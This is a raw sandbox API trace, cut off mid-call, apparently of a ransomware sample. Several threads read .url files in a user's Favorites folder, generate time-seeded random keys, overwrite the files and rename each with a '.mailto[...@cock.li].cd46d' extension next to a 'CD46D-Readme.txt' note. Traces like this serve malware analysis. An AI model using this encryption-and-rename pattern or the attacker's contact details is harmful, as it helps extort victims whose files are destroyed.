[0063.347] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.348] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.348] NtQueryInformationFile (in: FileHandle=0xe4c, IoStatusBlock=0x1125fbd8, FileInformation=0x1125fbb0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1125fbd8, FileInformation=0x1125fbb0) returned 0x0 [0063.348] NtSetInformationFile (FileHandle=0xe4c, IoStatusBlock=0x1125fbd8, FileInformation=0x1125fbb0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.349] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.349] FlushFileBuffers (hFile=0xe4c) returned 1 [0066.221] CloseHandle (hObject=0xe4c) Thread: id = 761 os_tid = 0xe5c [0051.521] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url")) returned 0x20 [0051.896] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", dwFileAttributes=0x20) returned 1 [0055.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf90 [0055.010] GetFileSizeEx (in: hFile=0xf90, lpFileSize=0x11b8f9f4 | out: lpFileSize=0x11b8f9f4*=133) returned 1 [0055.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0055.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460328 [0055.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460300 [0055.011] NtQuerySystemTime (in: CurrentTime=0x11b8f954 | out: CurrentTime=0x11b8f954*=132174898189980000) returned 0x0 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x1f1893b3 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0xda6f245 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x51e02bfa [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x5eeed3d [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x4be5d2e0 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x1fb7ad33 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x39f59773 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x249c11cb [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x54ee46ed [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x2ae7d153 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x387ef785 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x992e866 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x782ecf8d [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x29279f2a [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x7312917e [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x4ba3b78 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x78273c7a [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x6d457334 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x46ebb0c5 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x478ee41a [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x46e9f51c [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x108e61d [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x42c4c0d6 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x2c6d50d2 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x5baf9d31 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x6cbb59a5 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x7bd26b65 [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x11c00fbc [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x63d2f07b [0055.011] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x3229011a [0055.012] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x4e59653d [0055.012] RtlRandomEx (in: Seed=0x11b8f960 | out: Seed=0x11b8f960) returned 0x5ed9c302 [0055.024] ReadFile (in: hFile=0xf90, lpBuffer=0x5e54068, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x11b8f950, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesRead=0x11b8f950*=0x85, lpOverlapped=0x0) returned 1 [0055.025] SetFilePointerEx (in: hFile=0xf90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.025] WriteFile (in: hFile=0xf90, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x11b8f94c, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0x11b8f94c*=0x85, lpOverlapped=0x0) returned 1 [0055.956] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441190 [0055.956] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441528 [0055.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441528) returned 1 [0055.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0055.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e54068) returned 1 [0055.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef108) returned 1 [0055.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0055.959] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x440ea0 [0055.960] SetFilePointerEx (in: hFile=0xf90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.960] WriteFile (in: hFile=0xf90, lpBuffer=0x95d0e18*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x11b8f9b4, lpOverlapped=0x0 | out: lpBuffer=0x95d0e18*, lpNumberOfBytesWritten=0x11b8f9b4*=0x119, lpOverlapped=0x0) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0e18) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ee0) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ea0) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460328) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603a0) returned 1 [0056.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603c8) returned 1 [0056.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x196d0f00 [0056.498] wcscpy (in: _Dest=0x196d0f00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" [0056.498] wcscat (in: _Dest=0x196d0f00, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.mailto[2Hamlampampom@cock.li].cd46d" [0056.498] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x11b8f96c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf2) returned 0x41c0b8 [0056.776] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0056.776] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d6ac8) returned 1 [0056.776] NtQueryInformationFile (in: FileHandle=0xf90, IoStatusBlock=0x11b8f978, FileInformation=0x11b8f950, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11b8f978, FileInformation=0x11b8f950) returned 0x0 [0056.777] NtSetInformationFile (FileHandle=0xf90, IoStatusBlock=0x11b8f978, FileInformation=0x11b8f950, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.792] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0f00) returned 1 [0056.792] FlushFileBuffers (hFile=0xf90) returned 1 [0056.813] CloseHandle (hObject=0xf90) returned 1 [0056.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd3a0 [0056.829] wcscpy (in: _Dest=0x97cd3a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0056.829] wcscat (in: _Dest=0x97cd3a0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" [0056.829] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\cd46d-readme.txt")) returned 0x20 [0056.853] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cd3a0) returned 1 [0056.853] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee158) returned 1 Thread: id = 762 os_tid = 0xe60 [0051.522] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url")) returned 0x20 [0051.897] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", dwFileAttributes=0x20) returned 1 [0055.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf94 [0055.026] GetFileSizeEx (in: hFile=0xf94, lpFileSize=0xc73f834 | out: lpFileSize=0xc73f834*=133) returned 1 [0055.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0055.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460300 [0055.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0055.026] NtQuerySystemTime (in: CurrentTime=0xc73f794 | out: CurrentTime=0xc73f794*=132174898190136000) returned 0x0 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x1ecd4a97 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x513c61c [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x32914376 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x786e1b0d [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x5c0e3c67 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x7ede0dcf [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0xfd2521 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x407ee489 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0xd3dbf1f [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x20994203 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x5c630fa5 [0055.026] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x7b0b0790 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x247738d8 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x2b0710d [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0xee70591 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x7713ee18 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x511de60c [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x5fa2e720 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x3034dbfe [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x6d3aa835 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x47702b96 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x5c97dde6 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x1e2c93c0 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x43f882b4 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x4a465c48 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x5665f66 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x302438e4 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x2ff3a2e9 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x70158922 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x7d91c8c6 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x1b3eb3a0 [0055.027] RtlRandomEx (in: Seed=0xc73f7a0 | out: Seed=0xc73f7a0) returned 0x14e533d3 [0055.039] ReadFile (in: hFile=0xf94, lpBuffer=0x5e6d078, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0xc73f790, lpOverlapped=0x0 | out: lpBuffer=0x5e6d078*, lpNumberOfBytesRead=0xc73f790*=0x85, lpOverlapped=0x0) returned 1 [0055.044] SetFilePointerEx (in: hFile=0xf94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.044] WriteFile (in: hFile=0xf94, lpBuffer=0x5e79880*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0xc73f78c, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesWritten=0xc73f78c*=0x85, lpOverlapped=0x0) returned 1 [0055.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0055.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410a0 [0055.964] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410a0) returned 1 [0055.964] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0055.970] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e6d078) returned 1 [0055.970] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0055.970] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c5a0) returned 1 [0055.970] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x44c5a0 [0055.971] SetFilePointerEx (in: hFile=0xf94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.971] WriteFile (in: hFile=0xf94, lpBuffer=0x12d7a1c0*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0xc73f7f4, lpOverlapped=0x0 | out: lpBuffer=0x12d7a1c0*, lpNumberOfBytesWritten=0xc73f7f4*=0x121, lpOverlapped=0x0) returned 1 [0056.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a1c0) returned 1 [0056.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0056.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441280) returned 1 [0056.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c5a0) returned 1 [0056.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410f0) returned 1 [0056.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460300) returned 1 [0056.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0056.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460378) returned 1 [0056.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x5ed68b8 [0056.496] wcscpy (in: _Dest=0x5ed68b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" [0056.496] wcscat (in: _Dest=0x5ed68b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.mailto[2Hamlampampom@cock.li].cd46d" [0056.496] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc73f7ac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xfa) returned 0x12f4b2d0 [0056.771] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0056.771] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b1498) returned 1 [0056.771] NtQueryInformationFile (in: FileHandle=0xf94, IoStatusBlock=0xc73f7b8, FileInformation=0xc73f790, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xc73f7b8, FileInformation=0xc73f790) returned 0x0 [0056.771] NtSetInformationFile (FileHandle=0xf94, IoStatusBlock=0xc73f7b8, FileInformation=0xc73f790, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed68b8) returned 1 [0056.775] FlushFileBuffers (hFile=0xf94) returned 1 [0056.812] CloseHandle (hObject=0xf94) returned 1 [0056.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4386e8 [0056.823] wcscpy (in: _Dest=0x4386e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0056.823] wcscat (in: _Dest=0x4386e8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" [0056.823] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\cd46d-readme.txt")) returned 0x20 [0056.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4386e8) returned 1 [0056.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ddc8) returned 1 Thread: id = 763 os_tid = 0xe64 [0051.523] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url")) returned 0x20 [0051.721] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", dwFileAttributes=0x20) returned 1 [0052.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe50 [0052.742] GetFileSizeEx (in: hFile=0xe50, lpFileSize=0x1198f90c | out: lpFileSize=0x1198f90c*=133) returned 1 [0052.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4288c0 [0052.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428938 [0052.742] NtQuerySystemTime (in: CurrentTime=0x1198f86c | out: CurrentTime=0x1198f86c*=132174898167204000) returned 0x0 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x578c52a3 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x43f9516c [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x3e3f399 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x3c88340e [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x692fadfe [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x41382885 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x4d07fd2e [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x5d71c1d1 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x7dae140f [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x7838c792 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x7b408987 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x6e34202d [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x38784622 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x4ba07cc4 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x6eb4aa6d [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x35a22ef0 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x59b28878 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x5bdd5a8f [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x39cbe2e3 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x39f8df01 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x7e1c72f6 [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x6d88bd2d [0052.748] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x16bc6cf4 [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x190fcd7f [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x348b9a09 [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x624ab36b [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x490bc694 [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x27afe0ef [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0xfa058b4 [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0xaef7e5 [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x3a2e6eda [0052.749] RtlRandomEx (in: Seed=0x1198f878 | out: Seed=0x1198f878) returned 0x31af0a4 [0052.761] ReadFile (in: hFile=0xe50, lpBuffer=0x195d68f0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x1198f868, lpOverlapped=0x0 | out: lpBuffer=0x195d68f0*, lpNumberOfBytesRead=0x1198f868*=0x85, lpOverlapped=0x0) returned 1 [0052.762] SetFilePointerEx (in: 